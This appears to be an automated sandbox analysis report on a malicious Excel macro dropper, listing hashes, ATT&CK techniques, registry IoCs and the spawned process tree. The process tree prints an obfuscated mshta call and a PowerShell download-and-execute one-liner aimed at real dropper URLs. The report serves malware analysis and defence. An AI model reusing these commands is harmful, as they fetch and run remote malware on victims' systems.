6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200

General

Target

5edd92cb2674c2451f0e765f1db01e7d.xls
Size

142KB
MD5

5edd92cb2674c2451f0e765f1db01e7d
SHA1

74f5ca9155b295b0e9db3645e189ba7223d919ed
SHA256

6c993bfdab714689f5b5924440eb9d1289f73941b3784a6b1fe4798ef65ce200
SHA512

16894e09ea4c4afd6bd9c2e0e4f35ec797282279564ee045efc5a6e28c0f3b0379c7c6873a14e3c67974c35668eaeedf28e656722ccf85ca2f92da8d091b30d9

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1672	2452	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
31	2340	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2452	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2452	EXCEL.EXE
2452	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE
2452	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2188	2452	EXCEL.EXE	56
PID 2452 wrote to memory of 2188	2452	EXCEL.EXE	56
PID 2452 wrote to memory of 1672	2452	EXCEL.EXE	58
PID 2452 wrote to memory of 1672	2452	EXCEL.EXE	58
PID 1672 wrote to memory of 2340	1672	cmd.exe	60
PID 1672 wrote to memory of 2340	1672	cmd.exe	60
PID 2340 wrote to memory of 1044	2340	mshta.exe	66
PID 2340 wrote to memory of 1044	2340	mshta.exe	66

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5edd92cb2674c2451f0e765f1db01e7d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2188
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2904

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 416 -p 2340 -ip 2340
1⤵
PID:2780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2452-130-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/2452-131-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/2452-132-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/2452-133-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/2452-134-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Filesize
64KB

Download
memory/2452-137-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Filesize
64KB

Download
memory/2452-138-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads